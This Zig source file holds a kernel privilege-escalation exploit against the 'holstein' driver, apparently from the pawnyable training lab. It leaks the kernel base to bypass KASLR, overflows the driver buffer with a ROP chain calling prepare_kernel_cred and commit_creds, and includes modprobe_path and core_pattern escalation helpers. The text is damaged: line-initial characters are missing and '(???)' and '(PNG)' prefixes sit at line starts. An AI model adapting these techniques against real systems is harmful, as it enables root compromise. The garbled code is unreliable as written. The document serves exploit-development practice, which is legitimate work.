(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) ar POP_RDI: u64 = 0xffffffff811f61fd;
(???) ar POP_RCX: u64 = 0xffffffff8146ee3c;
(???) ar ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8: u64 = 0xffffffff81049576;
(???) ar MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8: u64 = 0xffffffff810a714a;
(???) ar KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
(???) ar PREPARE_KERNEL_CRED: u64 = 0xffffffff8106e240;
(???) ar COMMIT_CREDS: u64 = 0xffffffff8106e390;
(???) n ropchain(fd: std.posix.fd_t) !void {
(???) const file = (std.fs.File{ .handle = fd }).writer();
(???) var bw = std.io.bufferedWriter(file);
(???) const writer = bw.writer();
(???) try writer.writeByteNTimes('A', 0x400+8);
(???) try writer.writeAll(std.mem.asBytes(&[_]u64{
(???) POP_RDI,
(???) 0,
(???) PREPARE_KERNEL_CRED,
(???) POP_RDI,
(???) 0,
(???) POP_RCX,
(???) 0, // make sub rsi, rcx a nop
(???) MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
(???) ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
(???) COMMIT_CREDS,
(???) KPTI_TRAMPOLINE,
(???) 0, // junk
(???) 0, // junk
(???) @intFromPtr(&ret2win),
(???) user_cs,
(???) user_rflags,
(???) user_rsp,
(???) user_ss,
(???) }));
(???) try bw.flush();
(???) unreachable;
(???)
(???) n adjust_offsets(kaslr_offset: u64) void {
(???) const gadgets = &[_]*u64{
(???) &POP_RDI,
(???) &POP_RCX,
(???) &ADD_RDI_RSI_ADD_R8_RDI_MOV_RAX_R8,
(???) &MOV_RSI_RAX_SUB_RSI_RCX_CMOV_R8_RSI_MOV_RAX_R8,
(???) &KPTI_TRAMPOLINE,
(???) &PREPARE_KERNEL_CRED,
(???) &COMMIT_CREDS,
(???) };
(???) for (gadgets) |g| {
(???) g.* += kaslr_offset;
(???) }
(???)
(???) n ret2win() noreturn {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n leakBaseAddress(fd: std.posix.fd_t) !u64 {
(???) var buf: [0x408+8]u8 = undefined;
(???) _ = try std.posix.read(fd, &buf);
(???) const ret = std.mem.bytesAsValue(u64, buf[0x408..]).*;
(???) return ret - 0x13d33c;
(???)
(PNG) ub fn main() !void {
(???) catchSigsegv(&whoami);
(???) saveState();
(???) const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
(???) defer std.posix.close(fd);
(???) const kernel_base = try leakBaseAddress(fd);
(???) std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&kernel_base)), .lower)});
(???) adjust_offsets(kernel_base-0xffffffff81000000);
(???) try ropchain(fd);
(???) unreachable;
(???)